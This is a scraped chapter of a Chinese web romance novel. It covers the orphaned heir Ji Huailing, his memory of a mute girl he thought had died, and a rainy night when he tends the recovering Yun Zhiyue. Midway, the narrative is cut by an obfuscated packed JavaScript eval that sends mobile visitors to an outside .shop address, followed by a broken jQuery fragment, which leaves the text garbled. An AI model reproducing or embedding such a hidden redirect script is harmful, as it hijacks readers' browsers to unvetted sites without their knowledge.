文趣网 > 都市小说 > 怯他 > 10. 第 10 章
    淮王妃是先帝亲自赐婚,指予淮王的正妻。

    她出身名门,容貌端雅,知书达理,自入府那日起,便是名正言顺的淮王妃。

    只是彼时,淮王心中早有心爱之人,那个与他一同长大的青梅竹马——许素。

    许素亦是京城名门闺秀,琴棋书画样样精通,是公认的京城第一才女。论家世品貌,本足以匹配淮王。

    奈何许父行事中庸,反倒令先帝心生忌惮。皇帝唯恐许淮两家联姻势大,动摇东宫储位,便执意拆散这对情投意合的璧人,将自己亲信大臣之女指婚为淮王正妃。

    淮王性情执拗,数次入宫恳祈先帝成全,终究触怒龙颜。

    一纸诏令落下,赫赫许家一夕倾覆。

    彼时许素已身怀淮王骨肉。家族覆灭,她心如死灰,诞下孩儿当日,便自缢身亡。

    为安抚淮王,堵住悠悠众口,先帝将襁褓中的孩子接入淮王府,交由正妃抚育,又追封亡故的许素为王府侍妾。

    这个孩子,便是冀怀凌。

    他自落地那日起,便无缘得见生母。

    幼时懵懂,他只当那位端庄温柔待他视如己出的王妃,便是自己的亲生母亲。

    最初那几年,他在王府安稳顺遂,可年岁渐长,府中流言四起,大家都在私下议论他是身世卑微的庶子,与王府另外两位嫡出少爷有云泥之别。

    冀怀凌从不在意这些闲言碎语。

    他依旧温顺乖巧,日日勤学苦读,课业完毕,便准时到王妃跟前一一禀报。

    这日亦是如常。

    他正垂首背诵课业,院中忽然来了一个陌生的小姑娘。

    他从前从未听闻王妃要收义女的消息,心头微讶。

    那小姑娘怯生生立在原地,一双眼眸湿漉漉的,看着生人,满是惶恐怯懦,一语不发。

    王妃耐着性子再问:“你可愿留在我身边?往后我必定好生待你。”

    小姑娘依旧沉默。

    一旁嬷嬷尴尬地轻扯她的衣袖:“快回王妃的话呀。”

    小姑娘还是不开口。

    王妃连问数句,皆无回应,只得无奈轻叹:“莫不是个哑巴?”

    嬷嬷连忙躬身解释:“王妃误会了,她原是会说话的。只是娘亲去世时受到了惊吓,自此便不爱开口。这孩子性子安静温顺,极好养活,慢慢开导总会好的。这般清秀的模样,留在妾室跟前实在可惜,若能养在您膝下,日后必定会好好孝顺您。”

    王妃静默良久,转头看向身侧的冀怀凌。

    冀怀凌迎上王妃的目光,又看向那怯弱无言的小姑娘。

    片刻后,王妃开口道:“你先带她回去吧,此事容我再斟酌几日。”

    嬷嬷闻言面露急色,连忙劝道:“王妃您可要三思。老夫人年纪大了,二夫人又生了病,她在云府无依无靠,真的很难生存……”

    王妃面露难色,沉默许久,道:“我确实喜欢这孩子。你回禀老夫人,容我几日思虑,必会给一个准话。”

    嬷嬷只好领着小姑娘躬身告辞。

    自始至终,那姑娘未曾开口说一句话。

    彼时冀怀凌听闻她的身世,心底亦泛起几分恻然。

    人走之后,王妃转头问他:“凌儿,你可愿意让她做你的妹妹?”

    他毫不犹豫地摇头:“不愿意。”

    后来,王妃终究未曾收下这位义女。

    冀怀凌也很少再见到那姑娘。

    直到两年后,他骤然听闻她去世了。

    那一刻,他心头莫名空落落一片酸涩。

    他即刻奔赴云府打探,下人们口径一致,皆说人早已不在。

    可问及死因,所有人皆含糊其辞,讳莫如深,似是刻意隐瞒真相。

    辗转打听,终有一位云府旧婢悄悄告知于他:自王妃拒收义女后,她便被送回妾室跟前苛待。那妾室性情乖戾,动辄迁怒打骂,不过短短两年,那般年幼的姑娘,便没了。

    而后半年光景,冀怀凌都深陷自责与酸涩之中,久久无法释怀。

    再后来,便是两年前。

    闹市长街,大雪纷飞。

    他看见街角一隅,蹲着一个小小身影,正陪着阿婆低头打理鲜鱼。

    那张清秀稚嫩的小脸,那双看人时怯懦温顺的眼眸,莫名熟悉得让他心口震颤。

    她好像……还活着。

    不久前再相见,他终是确认她当真还活着。时下,就在他眼前。

    云知悦方才还躺在被窝里忐忑不安,结果一闭上眼睛就沉沉睡着了。

    夜半时分,一声闷雷轰然滚过。

    她骤然惊醒,猛地坐起身,茫然环顾四周,发现还在冀怀凌的房中。

    案前烛火摇曳,光影温暗。

    冀怀凌坐在案前,单手支额,闭目休憩,似是已然睡着。

    窗外雨声骤然大作,哗啦啦落个不停。

    她犹豫片刻,轻轻掀开被子,蹑手蹑脚下床,想悄悄回去。

    刚经过桌案,身后便传来一道低沉清淡的嗓音:“外头还在下雨。”

    云知悦脚步骤然僵住,猛地回头。

    原来他没有睡着。

    冀怀凌缓缓抬眸,望着她手足无措的模样,唇角微挑,问道:“想去哪里?”

    云知悦抿着唇,一双乌亮的眼眸怔怔望着他,一时无言以对。

    “口渴吗?”他温声再问。

    她轻轻摇头。

    “身子不适?”

    她依旧摇头。

    冀怀凌站起身。

    他身形高大迫人,云知悦下意识后退半步,眼底藏着怯意。

    冀怀凌看着她如避豺狼的模样,心头微涩,沉声道:“既无事,就回床睡。夜半天寒,又逢落雨,再染上风寒发热,如何是好?”

    云知悦瞧着他认真的神情,不敢违逆,乖乖回到床边坐下。

    她抬眸望他,恰好撞上他落下来的目光。

    烛火摇曳,暖光融融。

    这一次,她没有慌忙避开,只静静望着他清隽冷然的眉眼,一时看得微微失神。

    倏忽又是一声闷雷炸响,她浑身一颤,下意识捂住心口。

    “害怕打雷?”冀怀凌问她。

    “有一点。”

    “那再睡会儿,时辰还早。”

    “我睡不着了。”

    惊雷过后,睡意尽数散尽。她看着他眉宇间带着倦色,轻声道:“不然……你上床歇息吧。我一点也不困了。”

    冀怀凌:“无妨,我坐着就好。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743639|209167||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    云知悦却认真地站起身来:“你白日尚有要务,不能劳累。你睡吧,我真的不困,烧也彻底退了。等雨停,我再回去。”

    “当真好了?”

    冀怀凌迈步上前,细细端详她的脸色。

    他这一看,看得她脸上突然一热,倏地红了。

    “确定不再躺会儿?我瞧着脸颊还有点红。”

    话音刚落,他微凉的手掌就覆在了她的脸上,试探温度。

    突如其来的贴近,让云知悦僵住,心口怦怦狂跳不停。

    手掌触上她细腻肌肤的那一刻,冀怀凌的耳朵莫名红了起来,目光不自觉落在她微张的红唇上。

    云知悦抬眸,撞进他灼灼深沉的眼底,心头一慌,脸更红了。

    “怎么还这么烫?”他低声疑惑。云知悦伸手摸了摸脸颊,小声回道:“方才确实是不热了,不知道怎么又热起来了,心脏……还……还怦怦跳!”

    她不敢隐瞒,害怕病情加重。

    冀怀凌听闻这话,微微俯身细看她的脸颊,他越看,她的脸颊越红。

    她仰着脸,一双眼睛明亮又茫然。

    她说,她心脏砰砰直跳。

    他的,好像也是。

    “可能还没彻底好,你先到桌前坐一会,雨停了再回去。”他轻声道。

    “好。”云知悦点点头。

    可是他的手还抚着她的脸颊。

    她微微往后撤了一下身,他这才后知后觉地把手收回。

    屋里好像有点热,他觉得胸口闷闷的,脸颊也突然烫得厉害。

    他低下头借着整理被褥的动作避开了她的视线。

    云知悦又摸了摸脸颊,走到桌前坐下。

    冀怀凌脱了鞋子上了床,扯开被褥盖在身上。

    云知悦看了看他,脸颊又是一热。

    窗外大雨滂沱,雨声连绵不绝。

    冀怀凌躺下后,满身疲惫尽数翻涌,困意席卷而来。他侧过身,看向端坐桌前的人儿,道:“累了就趴会。”

    “好。”

    屋内寂静,唯余落雨声声。

    云知悦端正坐着,悄悄打量四周。

    屋内干净肃穆,衣架上悬挂着厚重威武的铠甲,旁侧立着长剑与弓箭,寒光隐隐,锋芒逼人。

    床头矮几上摆放书卷数册,一旁置着一盆素白小花,花朵细碎洁白,开得繁盛鲜活,是寻常田间野卉,想来是他外出时随手采摘的。

    床侧整齐摆放着两双精致靴履、一双软鞋,擦拭得一尘不染。墙边木架上置着铜盆净巾,样样规整洁净。

    身前书案上笔墨书卷陈列有序,干干净净,一丝不苟。

    他是个自律细致的人。

    可这般清冷威严、生人勿近的性子,为何会将珍贵的披风予她御寒,将自己的卧床让她睡呢?

    后厨的人都说他冷厉寡情、杀伐果决,可她所见的他,远比传闻更为和善亲近。

    她坐在灯下胡思乱想。

    冀怀凌已然沉沉睡去,侧身朝外,墨发散落枕间,长臂随意搭在被褥之上。

    云知悦看看他,低下了头,不一会又不自觉地抬头看他,看着看着又低下了头,过了一会又忍不住看他。

    怎么会有人连睡觉都那么好看呢?